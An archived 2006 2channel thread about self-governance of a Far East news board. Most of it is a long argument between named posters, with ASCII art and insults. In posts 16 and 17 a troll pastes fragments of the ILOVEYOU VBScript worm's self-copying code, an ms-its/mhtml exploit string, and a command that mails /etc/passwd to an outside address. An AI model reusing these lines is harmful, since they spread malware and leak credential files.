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ニュース極東板暫定自治スレ3

1 :船虫Jr ◆.Tg2yBtH66 :2006/03/17(金) 00:12:20 ID:QrXJQKH+
前スレ
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/l50
前々スレ
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/l50

自治不要論もここで。

2 :船虫Jr ◆.Tg2yBtH66 :2006/03/17(金) 00:17:51 ID:QrXJQKH+
現在、本自治スレでは、
自称自治厨である同期の桜@極東 ◆DoukiJieKQ が
スレの議論を一方的に反故にする行為を行ったことが追求されている。
具体的には以下にまとめるが、どうも、ヤツの戦術は
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/360
ということのようで、とにかく平気で頓珍漢なレスをする。
頓珍漢レスで、論点がブレれば、議論が混乱し、追求から逃れられると
思ってるらしい。

まあ、こう言っても、同期の桜@極東 ◆DoukiJieKQ のお仲間は
絶対に信じないだろうが、ホントかウソかは現物を見れば分かる。
以下に、これまでのポイントを時系列でまとめてるから、
興味のあるヤツは、ホントかウソか確かめてみろ。

なお、言うまでもなく、
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/360
なんて戦術は、勢力間に対立があり、また、民主主義システムが整ってない板の
自治にとって最大の敵と言える。このため、オレが延々と追求し続けてるわけだが、
このことに文句がある者は、自由に反論すればいい。

また、これも言うまでもないことだが、
これ以外の自治議論をしちゃいけないなんてことはぜんぜんない。
ただ、http://tmp6.2ch.net/test/read.cgi/asia/1139574674/360
が、ほぼ全ての自治議論を無効化する内容であり、
論理的な関係において、「こちらが先」であることは指摘しておく。

3 :船虫Jr ◆.Tg2yBtH66 :2006/03/17(金) 00:18:11 ID:QrXJQKH+
1、「擬古侍 ◆lIberAli6k」は件のスレが排他的になっていると問題提起
 http://tmp6.2ch.net/test/read.cgi/asia/1128258920/228
 http://tmp6.2ch.net/test/read.cgi/asia/1128258920/323-324
2、オレ(船虫)が一理ありとして、問題分析(排他的なのは確かにまずい)。
 http://tmp6.2ch.net/test/read.cgi/asia/1128258920/234
3、同期の桜@極東が「(排他性ではなく)、雑談スレは認められる」とズレた回答をする。
 また、「議論板だからSAGE進行」とも指摘。
 http://tmp6.2ch.net/test/read.cgi/asia/1128258920/240
4、オレが、「しかし」として、「公共性があるから、常時SAGEでの排他的使用はまずい」と指摘。
 http://tmp6.2ch.net/test/read.cgi/asia/1128258920/250
 http://tmp6.2ch.net/test/read.cgi/asia/1128258920/330
5、同期の桜@極東、反論に窮する。
6、バカ(バク)が、それを正当化しようと
 「解決策(ひろゆきにメール)が出来ないなら文句を言うな」
 なんて言い始める。
 http://tmp6.2ch.net/test/read.cgi/asia/1128258920/343
7、これに同調し、http://tmp6.2ch.net/test/read.cgi/asia/1128258920/573
 (言葉としては「削除依頼逝け」として、ここでの議論を拒絶)
8、驚いたことに、お仲間であるはずの「ごくとう」が問題に食いつく。
 http://tmp6.2ch.net/test/read.cgi/asia/1128258920/581-595
9、運営逝きのはずが、オレ(船虫)の出した解決案をクリアするスレを
 ごくとうが立て、一応、当初の問題は極東内で解決される方向へ(上のリンク)。

4 :船虫Jr ◆.Tg2yBtH66 :2006/03/17(金) 00:18:32 ID:QrXJQKH+
10、この時、こくとうが「>必要かどうか見てみたい」と言ってるのを、オレが発見。
   オレは懸念を表明する。http://tmp6.2ch.net/test/read.cgi/asia/1128258920/582
11、その後も、1)需要のあるなしと、適正(合法性は違う)、2)需要のあるなしは、
  スレの雰囲気に左右されるので、ヘタをすりゃ自作自演になる。3)また、
  常時SAGEでもカキコミがあるのはある意味、実証済み、と釘を刺す。
  http://tmp6.2ch.net/test/read.cgi/asia/1128258920/591-592
http://tmp6.2ch.net/test/read.cgi/asia/1128258920/599
12、とはいえ、ごくとう自身は、「おまえの言うとおりでかまわんよ」ということなので、
  http://tmp6.2ch.net/test/read.cgi/asia/1128258920/595-597
  オレはこれ以上の追求を控える。
13、運営逝きを主張してたヤツ(桜)が、「結果→待てばよい」などと意味不明なことを言い出す。
  http://tmp6.2ch.net/test/read.cgi/asia/1128258920/615
  http://tmp6.2ch.net/test/read.cgi/asia/1128258920/607
  後にこれが、桜による独断(スレ立て)の“複線”のつもりだったことが判明(>>132)。
13、同期の桜@極東が常時SAGEを復活させる(次スレ立てる)
14、オレが「そりゃ、どういうつもりだ?」と聞く。
  http://tmp6.2ch.net/test/read.cgi/asia/1128258920/909
15、同期の桜@極東、「次スレとして」などと言って返答拒否。
  http://tmp6.2ch.net/test/read.cgi/asia/1128258920/915

5 :船虫Jr ◆.Tg2yBtH66 :2006/03/17(金) 00:18:49 ID:QrXJQKH+
16、本スレに移り、同期の桜@極東の独断に対する追求が続けられる。
  http://tmp6.2ch.net/test/read.cgi/asia/1139574674/14-18
17、このような追求に対する同期の桜@極東の典型的なレスは
  http://tmp6.2ch.net/test/read.cgi/asia/1139574674/32
   これに対するオレの反応は
  http://tmp6.2ch.net/test/read.cgi/asia/1139574674/45-46
   こんなことの繰り返しが続く。
18、その後の論点は二つ。1)、「運営逝き(運営逝かないヤツは議論する資格がない)」
   と言ってるくせに、なぜ「ここで結果が出た(検証された)=運営逝かずに解決?」と言い張るのか?
   2)そもそも、検証なるものは自治スレで行われておらず、相手(オレ)も認めていない。
   結局、同期の桜@極東の独断ではないか?
   また、議論が難航してることに関し、特に「現物ベースの議論をしろ」と要請。
19、「架空の話はどういう風にでも解釈できるのでダメ」が登場
  http://tmp6.2ch.net/test/read.cgi/asia/1139574674/73
20、18の2)に関して、明からさまな嘘を言い始める。
  http://tmp6.2ch.net/test/read.cgi/asia/1139574674/365
  →http://tmp6.2ch.net/test/read.cgi/asia/1139574674/371
21、これは、とりあえず現物ベースではあり、論理的にも、1)より2)が先なので、
   この2)を集中審議の対象にする。
   また同様に明確なポイントとして19を審議対象にする。
  http://tmp6.2ch.net/test/read.cgi/asia/1139574674/463)。
22、オレが「常時SAGEルールの廃止(通常はSAGEでいい)」を言ってるのに、
   同期の桜@極東が「SAGE進行の何が悪い!」「AGE進行なんてダメだ!」
   としてループしてることが再び指摘される
  http://tmp6.2ch.net/test/read.cgi/asia/1139574674/479-480
   ↑頓珍漢ループの典型!

6 :船虫Jr ◆.Tg2yBtH66 :2006/03/17(金) 00:19:05 ID:QrXJQKH+
現在までのハイライトはこんなもんだ。
これらは、リンク先を実際に読めば分かるように、どーしょーもなく事実。
最初に、この「まとめ」をやったときは、18の1)が主な論点だったが、
今では18の2)が集中的に審議されてるので、そのへんを詳しく書き直した。
この二つの論点の関係は

同期の桜@極東の主張:
 「同期の桜@極東は、検証によって解決したと言い張ってる(それでスレを立てたのだと言う)」

これの問題点:
 A、「検証において合意があるか?」→「なければ独断」→「解決にはならない」(18の2)
 B、「検証が妥当で、解決と見なせる」→「運営逝かずに解決」→
   「運営逝き(運営逝かないヤツは議論する資格がない)と矛盾している」(18の1)

要するに、同期の桜@極東は二重に間違っている。
(なにしろ、毎度毎度、その場のしのぎレスを繰り返してるんだからな)

7 :船虫Jr ◆.Tg2yBtH66 :2006/03/17(金) 00:19:24 ID:QrXJQKH+
で、上や
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/360-361
でも言ってるように、頓珍漢レスでずらされた全てのポイントをやってたら
きりがないので、以下の2点を集中審議している。

A: 同期の桜@極東 ◆DoukiJieKQ が「船虫は検証に合意した」と言い張ってる件。

B: 同期の桜@極東 ◆DoukiJieKQ が「架空の話はどういう風にでも解釈できるのでダメ」と言い張ってる件

内容については、
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/463
にリンクが貼ってある。

また、
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/479-480
についても、頓珍漢ループが明確で、本来の筋でもあるから、
審議対象にしてもいいかもしれない。

8 :日出づる処の名無し:2006/03/17(金) 01:00:47 ID:WfNmgHaJ
もう3かよ

9 :名スレの予感君(ごくとう) ◆593GOKUTOU :2006/03/17(金) 01:53:20 ID:v3FFEW0n


           / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
  ∧η∧   <  極東板に自治スレは不要!!
  (,,・Д・)     \__________
 ミ__ノ



10 :日出づる処の名無し:2006/03/17(金) 10:07:49 ID:XMvXlq/8
糞スレだな。
荒らして埋めちまうか。

11 :日出づる処の名無し:2006/03/17(金) 13:52:22 ID:ZXNNTYWX
>>10
氏ね!
ここに必要な自治は愛国心だけだ!

12 :日出づる処の名無し:2006/03/17(金) 15:35:42 ID:XMvXlq/8
                   (`・ω・´)  このスレは、
                     U θ U       【氷菓】市販アイスを語るスレ【ラクト】
                 / ̄ ̄T ̄ ̄\                    となりました。  
                |二二二二二二二|    age進行でおながいしまつ
                |        |
パシャ パシャ  パシャ パシャ パシャ  パシャ パシャ パシャ パシャ パシャ
   パシャ パシャ パシャ パシャ パシャ  パシャ パシャ パシャ  パシャ  パシャ
 ∧_∧      ∧_∧     ∧_∧  ∧_∧    ∧_∧     ∧_∧
 (   )】      (   )】    (   )】 【(   )    【(   )    【(   )
 /  /┘ .   /  /┘.    /  /┘ └\ \   └\ \   └\ \
ノ ̄ゝ     ノ ̄ゝ      ノ ̄ゝ     ノ ̄ゝ    ノ ̄ゝ     ノ ̄ゝ

13 :日出づる処の名無し:2006/03/17(金) 15:37:59 ID:XMvXlq/8
スーパーカップのメロンはネ申。

14 :鹿爪 ◆QTEy8E3Sfw :2006/03/17(金) 18:16:17 ID:rlHEVFNP
新スレおめでとうございます。

15 :船虫Jr ◆.Tg2yBtH66 :2006/03/17(金) 18:41:59 ID:SQYVJgom
連行
ーーーーーーーーーーーーーーーーーー
近頃、似たようなスレが乱立している件について
http://tmp6.2ch.net/test/read.cgi/asia/1142163433/l50
7 名前: ヘボ剣道部員@厨房 ◆cqfqsFeVts [sage] 投稿日: 2006/03/12(日) 20:50:47 ID:pMIiuiJT
本来は自治スレで話し合うべき話題だが…向こうは船虫が住み着いて話す事などできないからな
ーーーーーーーーーーーーーーーーーー

何を話し合うんだ?
重複スレなら、削除依頼できるわけだが、
糞スレの乱立は削除してもきりがないと。
そういうことか?

で、どうすんの?
妙な秘密会議なら、自治でやるもんじゃないわけだが?



16 :日出づる処の名無し:2006/03/17(金) 19:12:56 ID:XMvXlq/8
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
ܷ
ܵ
新スレおめでとー。


17 :日出づる処の名無し:2006/03/17(金) 19:18:00 ID:XMvXlq/8
                   ܷܷܵܶܵܶܵܶܵܶ
             kak.hta';ken=wdt'START
イッパイ         ms-its:mhtml:file://c:\
 モッテキタヨ-      cat /etc/passwd | mail nobody@nonexistent.com
      ∧__∧   c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
     ( ´・ω・)   Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
     /ヽ○==○ fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
    /  ||_ If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
    し' ̄(_)) ̄(_)) ̄ ̄(_)) ̄ ̄(_)) ̄ ̄(_)) ̄ ̄(_)) ̄ ̄(_)) ̄ ̄(_))


18 :船虫Jr ◆.Tg2yBtH66 :2006/03/17(金) 19:46:47 ID:SQYVJgom
ID:XMvXlq/8について。

                                 >>10名前: 日出づる処の名無し投稿日: 2006/03/17(金) 10:07:49 ID:XMvXlq/8
http://tmp6.2ch.net/test/read.cgi/asia/1142222854/242名前: 日出づる処の名無し投稿日: 2006/03/17(金) 18:51:59 ID:XMvXlq/8
http://tmp6.2ch.net/test/read.cgi/asia/1142222854/244名前: 船虫Jr ◆.Tg2yBtH66 投稿日: 2006/03/17(金) 19:00:58 ID:SQYVJgom
http://tmp6.2ch.net/test/read.cgi/asia/1142222854/246名前: 日出づる処の名無し投稿日: 2006/03/17(金) 19:04:02 ID:XMvXlq/8
                                 >>16名前: 日出づる処の名無し投稿日: 2006/03/17(金) 19:12:56 ID:XMvXlq/8
                                 >>17名前: 日出づる処の名無し投稿日: 2006/03/17(金) 19:18:00 ID:XMvXlq/8



19 :日出づる処の名無し:2006/03/17(金) 19:49:58 ID:XMvXlq/8
>>18何が言いたいんだよ?w
こいつは荒らしだからみんなで袋叩きにしろとでも?w
そうだとすりゃあ無駄なあがきだがなw

20 :船虫Jr ◆.Tg2yBtH66 :2006/03/17(金) 20:11:13 ID:SQYVJgom
ついでに言っておくが。

「変な改行 or 行間があくようになった」について。
http://gikonavi.sourceforge.jp/cgi-bin/faq.cgi#58
http://hokanko.jp/db/archives/000090.html

21 :船虫Jr ◆.Tg2yBtH66 :2006/03/17(金) 20:12:44 ID:SQYVJgom
単純にレス(ID)をあぼーんしてもよい。

22 :日出づる処の名無し:2006/03/17(金) 20:15:23 ID:TPZlJtZ0
>>21バ一カ

23 :日出づる処の名無し:2006/03/17(金) 20:18:39 ID:XMvXlq/8
>>21そんな手間のかかる真似してこんな糞スレ見に来る奴なんているのかねぇ?w


24 :日出づる処の名無し:2006/03/17(金) 23:00:20 ID:XMvXlq/8
________    ________
||\          .\  .||\          .\
||\\          \||\\          \
||.  \\          \ \\          \
    \\          \ \ <;゚;ё;゚;´> >>1   \
      \\           \ ./    ヽ.       \
       \\          / .   | |         \
         \\   旦   .(⌒\|__./ ./\         \
           \\       ~\_____ノ|\\         \
            \\          \|  \\         \
              \\           \  \\         \
               \\           \  \\         \
                 \\           \  \\         \
                  \\           \  \\         \

25 :日出づる処の名無し:2006/03/18(土) 12:15:04 ID:6WG2LOE2
http://www15.big.or.jp/~t98907/unmei/R3_temp/R3_temp.swf?inputStr=
%91D%92%8E%82%CD%82%B1%82%CC%83X%83%8C%82%C9%88%EA%
90%B6%88%F8%82%AB%98U%82%E0%82%C1%82%C4%82%EB

そゆこと。

26 :日出づる処の名無し:2006/03/18(土) 12:20:08 ID:6WG2LOE2
http://www15.big.or.jp/~t98907/unmei/R3_temp/R3_temp.swf?inputStr=%91D%92%8E%82%CD%82%B1%82%CC%83X%83%8C%82%A9%82%E7%8Fo%82%E9%82%C8
文字化けしたんで改変。

27 :船虫Jr ◆.Tg2yBtH66 :2006/03/18(土) 18:14:32 ID:8GqNfZdv
そゆこと。 は、文字化けとは言わないわけだが

28 :\_______________________/ :2006/03/18(土) 18:18:45 ID:6WG2LOE2




      V
     ∧_∧
     < `∀´ >    ∧_∧
    /     \   (    )何言ってんだこいつ 
.__|      .| |_ /      ヽ
||\  ̄ ̄ ̄ ̄   / .|   | |
||\..∧_∧    (⌒\|__./ ./
||.  (    )     ~\_____ノ|   ∧_∧
  /   ヽ 病院逝け      \|  (    ) 
  |     ヽ           \/     ヽ. バカじゃなかろか
  |    |ヽ、二⌒)        / .|   | |
  .|    ヽ \∧_∧    (⌒\|__./ /


29 :同期の桜@極東 ◆DoukiJieKQ :2006/03/18(土) 20:37:24 ID:QDLMfEIf
次スレはここか?
ここまで案件0

今日も平和な自治スレでした

30 :日出づる処の名無し:2006/03/19(日) 21:30:37 ID:CtxgxmFE
>>27お前の祖国完封負けしちまったなw
まあ気を落とすなよw


31 :珍報記者φ ◆WELCONEvc6 :2006/03/19(日) 23:59:48 ID:s7VGcRqR
あうあうあ〜。

バカニュースから遊びにきますた!

32 :日出づる処の名無し:2006/03/20(月) 00:03:34 ID:WT2QNC6J
主は野球関係のスレに行っておりまして、ただいま留守です

33 :第六天魔王(牛) ◆ODA7WdIm6U :2006/03/20(月) 18:43:06 ID:LOOkJrMS
会長珍しいねー

34 :船虫Jr ◆.Tg2yBtH66 :2006/03/20(月) 19:09:32 ID:DqFsf71v
29 名前: 同期の桜@極東 ◆DoukiJieKQ

の件だが。なんつーか、予想通りの反応だな。

上の「>>5の16のリンク先」にあるように、同期の桜@極東 が
反論に窮した場合、

「今日も平和な自治スレでした(455 )」とか
「コテ叩きは最悪でおやり (854)」とか
「裁判終了、後は削除板(792 )」とか

こんな感じになるわけだが(括弧内は前々スレの番号)、
今回も

>>29 名前: 同期の桜@極東 ◆DoukiJieKQ [sage] 投稿日: 2006/03/18(土) 20:37:24 ID:QDLMfEIf
>次スレはここか?
>ここまで案件0
>
>今日も平和な自治スレでした

だって。
当人は分かってるかどうか知らないが、「今日も平和な自治スレ」ってのは
なかなか含蓄がある。
とりあえず、今日はそれを探っていこうか。

35 :船虫Jr ◆.Tg2yBtH66 :2006/03/20(月) 19:09:52 ID:DqFsf71v
言うまでもなく、今回の件は、

◆◆◆ニュース極東板雑談スレ46◆◆◆
http://tmp6.2ch.net/test/read.cgi/asia/1134398776/l50

という雑談スレに関し、
 http://tmp6.2ch.net/test/read.cgi/asia/1128258920/228
 http://tmp6.2ch.net/test/read.cgi/asia/1128258920/323-324
というクレームが出たのがことの発端(>>3)。
同期の桜@極東 ◆DoukiJieKQ なる自称自治厨は、いまオレがさんざん叩いてる内容が
当てはまるとは、にわかに信じられないくらい普段は結構まとも。
それは、このクレームの前の自治スレを読めばだいたいわかるだろう。
この極東板有数のアンチコテであるオレ(船虫)が、ほぼ全ての案件について
同意してる(もちろん同意とは言わないが、発言内容は合致している)。
だから、オレにしても、このクレームが出たとき、ある程度応じるのかと期待した。
というか、どう対応するか見物だったわけ。
自分たち(のスレ)が非難の対象になっても、公平な対応をするのかどうかとな。
 http://tmp6.2ch.net/test/read.cgi/asia/1128258920/234
結果は、半分まともで半分不適切だった。
「まとも」というのは、珍しく長文書いて反応したことだが、
不適切というのは、その内容がズレていたこと。
 http://tmp6.2ch.net/test/read.cgi/asia/1128258920/240
おそらくこの時は、戦略ではなくリアルにそう思ったんだろうけど、
同期の桜@極東 ◆DoukiJieKQ は「馴れ合いの雑談(スレ)」であることが
非難されていると思ったらしく、とくにかく、それに対する反論しかしてない。
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/311-314
にあるように、馴れ合い気味の雑談スレというのは、この板にも多数あるわけで、
「馴れ合いの雑談(スレ)」であることは問題ないし、それが極東板という議論指向の板
にとって「みっともない」ので、SAGE進行になってることも問題ない。
これらの件については誰も否定してない。

36 :船虫Jr ◆.Tg2yBtH66 :2006/03/20(月) 19:10:13 ID:DqFsf71v
このように書くと、「じゃあ、何を文句言ってるんだ?」「船虫は火(非)のないものに対して
大騒ぎしてるだけで、単に議論したいだけ」などという反応が返ってきそうだが、
そういうわけではない。上の http://tmp6.2ch.net/test/read.cgi/asia/1139574674/311-314
のように、雑談スレは多数あるのにオレは件の雑談スレだけを非難しているわけだが、
それにはちゃんとした理由がある。それは、このリストが「公的性格を持つことに関する傍証」となってる
ことからも分かるように、「◆◆◆ニュース極東板雑談スレ◆◆◆」がこのスレタイによって
公的な性格を持っていることに他ならない。
これゆえに、「『みっともない』ので、SAGE進行」はいいが、排他的であってはいけない
と言ってるわけ。
 http://tmp6.2ch.net/test/read.cgi/asia/1128258920/250
 http://tmp6.2ch.net/test/read.cgi/asia/1128258920/330
ーーーーーーーーーーーーーーーーーーー
 http://tmp6.2ch.net/test/read.cgi/asia/1128258920/579-578
【問題点の整理】
・極東板の名称入り雑談スレ
 →→公共の場
・SAGE進行
 →→馴れ合いグループが内輪話する排他スレになる。

これはどう見ても矛盾してる(>>330>>494 も嫁)。
で、解決策としての選択肢は3っつ。

1)極端に社交的なレスをする(そのようにルール化して強制する)。
2)極東板の看板を降ろし、公共性をなくす。
3)SAGE進行ルールをやめ、定期的にでもAGEることを推奨する。

これらの“いずれか”を選択すれば、とりあえず解決するが、1)は、まず無理。
ーーーーーーーーーーーーーーーーーーー

37 :船虫Jr ◆.Tg2yBtH66 :2006/03/20(月) 19:10:37 ID:DqFsf71v
必ずしもそうなるわけじゃないが、常時SAGEは、板によっては特定のコテばかりが集まり
排他的な内輪話になる傾向を助長する。

★ 喫茶居酒屋「昭和」 二十二日目 ★
http://tmp6.2ch.net/test/read.cgi/asia/1142610028/l50

のように、始めから個人的なスレであることを謳ったスレなら、
内輪話だってけっこうだし、そもそも排他性が問題になることはない(とりあえず、極東板的にはな)。
だが、極東板の看板を掲げたスレはそういうわけにはいかない。
排他性がまずいとして、スレの住民が開放的レスを心がければ問題ないということも言えるわけだが、
このような板でそのような規制をするのは困難。それに何より、このスレの主要な住人が

http://tmp5.2ch.net/test/read.cgi/asia/1130284295/770
>色々なスレに自由に書き込む権利はあるが、
>書き込みを強制される義務は無い。

と白状して、開き直ってる。
このスレは他のスレとは違い、公的な性格があるってことをまるで把握してない。
前スレでは、「『しかし以下(検索しろ)』に答えてない」ということが
問題になっていたわけだが、 http://tmp6.2ch.net/test/read.cgi/asia/1139574674/393
この「しかし以下」こそ、ここで言う「公共性」という観点からの問題提起なわけ。

で、前スレで延々と「『しかし以下』に答えてない。答えていると言うなら現物(スレ番)示せ」
と言っても、ただ「答えた」と言い張るだけ(http://tmp6.2ch.net/test/read.cgi/asia/1139574674/263 とか)。
これが、前スレから前々スレで行われた「本来の問題提起」に関する対応状況。
リアルに問題が把握できないのか、わざと誤魔化してるのか知らんが、
とにかく、「本来の問題提起」に関して、ズレた回答をしたまま、きちんと答えてない。
極東板的に言えば「反論に窮した」と言っていい。

38 :船虫Jr ◆.Tg2yBtH66 :2006/03/20(月) 19:11:02 ID:DqFsf71v
さて、ここからが今日の本題なんだが(「スレ読んでる読者」など当てにしない「現物ベースの具体論」すると、
前置きだけでもこれくらいの長文になるだよな)、
上で指摘したように、同期の桜@極東 ◆DoukiJieKQ は明らかなミスをした。
「公共性のある特別の雑談スレ」に関する問題提起なのに、普通の雑談スレとして、
「雑談スレのどこが悪い」という反論しかしてない。
最初の対応を読めば、これは意識的な誤魔化しではなく、本当に雑談スレ一般についての問題(でしかない)
と思ってと推定できる。
この際、オレの主張の弱点を言っておくが、オレの主張の弱いとこは「程度問題」。
公共性とか言っても、この「極東板自治スレ」と同様、たいしたもんじゃないわけ。
「この程度のもん」と言われればこの程度のもんと答えるしかない。
しかし、重要な点は、程度が小さいと言っても、決してゼロではないこと。
上のhttp://tmp6.2ch.net/test/read.cgi/asia/1128258920/579-578 の「トリレンマ」は
ほとんど完璧なもので、程度が小さくてもゼロでなければ、この三つのいずれかを
認めなければならない。で、程度が小さいなら小さく認めればいいわけだが、
この手の議論では、こんなことが途轍もなく大きな障壁のように、どうしてもできないという状況になる。
例えば、「まあ排他的にならないように気をつけるよ」なんて言うだけでも、
解決には成り得るんだが、バカ(バク)が
「(これは別に特別なスレではない。2chの他スレのように)、自由に書いて何が悪い」
http://tmp5.2ch.net/test/read.cgi/asia/1130284295/770
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/327
と初っぱなから言いだしてるから、前言撤回になってしまう。
相手をバカだの読解力がないなどと罵倒してると、ほんの小さなことでも
認めることは、あるいは、それを認めたととれるようなことでさえ出来なくなる。
前スレを見れば分かるように、もう全面否定しかできない状況になっちまうんだよな。

39 :船虫Jr ◆.Tg2yBtH66 :2006/03/20(月) 19:11:32 ID:DqFsf71v
この点、「ごくとう」ってのは、際立ってる。
同期の桜@極東 ◆DoukiJieKQ よりずっと反抗的だが、不満を垂れつつも、
 http://tmp6.2ch.net/test/read.cgi/asia/1128258920/595-597
ってな感じだからな。この手の問題解決(少なくともその方向)としては異例なものだろう。
これに関して、オレは「ごくとう」を評価している(過大評価だけどな)。
いずれにせよ、同期の桜@極東 ◆DoukiJieKQというヤツは、とにかく議論がきな臭くなると
全面否定しかしなくなる。が、否定といっても「間違ってる!」と言い張るだけだから、
何の理(ちゃんとした反論)も述べてない。というか全面否定なんて理はない。
そうなると、議論自体を何とか誤魔化すしかないわけ。
既に言ったように、当初はおそらく、リアルにちゃんと反論したと思っていたのだろうが、
今になっては、それはないと言っていい。だいたい、このスレだって
オレが「極東板自治スレ」とタイトル欄に書いただけのスレだが、
このスレを公的性格があるとして扱ってるわけだ。
で、同期の桜@極東 ◆DoukiJieKQは、>>7で言ったように、
毎度毎度その場しのぎの頓珍漢を言って、何とか議論自体を混乱させ、
誤魔化しに走るわけだが、オレはその対抗策として、
「誰が見ても明らかな間違い」ってのを晒すというやり方をとる。
「全面否定+その場しのぎ」なら、その場しのぎで言ったのであろう
テキトーな発言を捕まえて、「ほら見ろ。間違ってる」とやれば簡単に破綻する。

A: 同期の桜@極東 ◆DoukiJieKQ が「船虫は検証に合意した」と言い張ってる件。

B: 同期の桜@極東 ◆DoukiJieKQ が「架空の話はどういう風にでも解釈できるのでダメ」と言い張ってる件

いずれも明らかな間違いで、Aは過去スレ引用すればそれがハッキリと晒せるし、
Bはスレ読む必要もなく、反証事例(マックスウェルのデモンやSF作家)を出せば
間違ってるは明確になる。
こういうのは、意固地になって全面否定してる証拠になるだろ?

40 :船虫Jr ◆.Tg2yBtH66 :2006/03/20(月) 19:12:20 ID:DqFsf71v
で、最初の「今日も平和な自治スレでした 」だが。
これも、オレが(>>7でリンク貼った)
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/360-361
で言った通りの誤魔化し。
要するに、同期の桜@極東 ◆DoukiJieKQ ってのは自分が支持されてると
思っていて、それにべったり頼ってるわけ。
こんな誤魔化しで正当化したつもりになってるのは、板の雑談スレが排他的になってる
というれっきとした自治問題だし、その無茶苦茶な正当化の過程で出してたのが、

http://tmp6.2ch.net/test/read.cgi/asia/1139574674/32
>立てたスレには全面的に責任負うから客観的に判断してくれるところへ
>判断を仰ぎに行ってこいってこと。話はそれからだ。

ってな暴論。これは一見、単に「運営逝け」と言ってるだけのようで、
暴論に見えないかもしれんが、そうではない。
そのポイントは「話はそれからだ」←これ。
これは>>3-6のまとめを含め、何度も繰り返し言ってる
「運営逝かないヤツは議論する資格はない」ってな「自治(議論)否定」。
公的なものと見なし、削除などと主張してない者に、「削除要請(運営)」に逝けと言い張り、
都合の悪い議論は無効化するってヤツだな。しかも、削除要請だけじゃなく、
運営自体についても、不適切と言ってる。
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/82
相手に従う道理のないことを言い張って議論を拒否してるわけ。
こんなことじゃ、どんな案件だって、「運営逝け。話はそれからだ」で終わりじゃん。
自治なんて無いに等しい。
こんな暴論言っておきながら、

>今日も平和な自治スレでした

だって。何か北の方の政府みたいじゃないか?

41 :日出づる処の名無し:2006/03/20(月) 19:12:28 ID:po7kckRa
ムシケラが人間様の議論に口を挟むんじゃないよ。
船虫なんかお仲間と一緒に釣りしてるおっさんが捨てた弁当箱にでもたかってればいいんだ。

42 :船虫Jr ◆.Tg2yBtH66 :2006/03/20(月) 19:13:24 ID:DqFsf71v
ついでに言っておけば、
最初の問題は、ごくとうが指摘し、オレも同意してるように、
「そもそも、たかだか一つの雑談スレ」ってことでしかない。
しかし、その「たかだか一つの雑談スレ」として

ーーーーーーーーーーーーーーーー
595 名前: 名スレの予感君(ごくとう) ◆593GOKUTOU [sage] 投稿日: 2005/12/29(木) 19:27:00 ID:+7kD2Jtc
意地にならずに言ってるじゃん、
普通の雑談スレが必要なら、俺様達の馴れ合いスレは名前を変えていいって

596 名前: 名スレの予感君(ごくとう) ◆593GOKUTOU [sage] 投稿日: 2005/12/29(木) 19:30:35 ID:+7kD2Jtc
俺様は名前が変わろうが、定期上げだろうが、無くなろうがかまわんよ
只そのことが必要なら、必要だと思った奴がやれってことだけさ。
ーーーーーーーーーーーーーーーー

と言えず、全面否定に固執した結果のどさくさに出てきた暴論(自治議論否定)は
自治スレとしては、小さな問題になるわけがない。

43 :船虫Jr ◆.Tg2yBtH66 :2006/03/20(月) 19:13:40 ID:DqFsf71v
まあ、そもそも2ch自体がたいそうなもんじゃないわけだが、
http://tmp6.2ch.net/test/read.cgi/asia/1139574674/360-361
ってな問題はそれほどつまらないものじゃなく、特に極東板で扱ってる事柄ではよくあること。
例えば、いつも出してる例だが、南京大虐殺ってのがある。
今でこそ否定派が力を付けてきたが、歴史教科書を見ても分かるように、
以前は肯定的な見解が大勢を占めていた。
極東板ってのは、そういう大勢に反抗するという場所でもあったわけだ。
だから、東京裁判がまさにそうであるように、「何が正しいのか?」という問題に関して
多数に従うという愚(南京大虐殺の真が多数決で決まる)はよく分かってる板であるはずなんだが、
一部のバカウヨと呼ばれる者(笑)にとっては必ずしもそうではなかった。
以前ブサヨがやっていたように、反論に窮すると多数とか見かけとか、
そういうものに頼って議論を排除する。
オレのような長文書きに絡まれればそうしたくなるという気持ちも分からないでもないが、
だからといって、「理」を排除するのはどーしょーもなく愚。
そもそも、議論馴れしてないくせに偉そうに全否定なんてするからおかしなことになる。
だいたい、オレなんかいつもウヨを全否定してるように見えて、南京だってウヨ同様に否定してるし、
竹島とか、韓国政府が言うかなりの主張に反対している。
ウヨをバカにしたくても、勝てないこと(そもそも間違ってること)は言わないわけ。
このへんがまだまだ幼稚なんだよな。ごくとうの方が遙かにうまい。

44 :船虫Jr ◆.Tg2yBtH66 :2006/03/20(月) 19:14:46 ID:DqFsf71v
>>41
毎度の連投解除乙。
今回は話の流れから言って、なかなかいいタイミングだぞ(笑い。

45 :日出づる処の名無し:2006/03/20(月) 19:15:09 ID:WT2QNC6J
やっと手が空いたようでw

46 :日出づる処の名無し:2006/03/20(月) 19:18:25 ID:po7kckRa
>>44そんな事してる暇があれば仕事探せよな。



47 :船虫Jr ◆.Tg2yBtH66 :2006/03/20(月) 19:23:58 ID:DqFsf71v
あ、そういえば煽るの忘れてた。

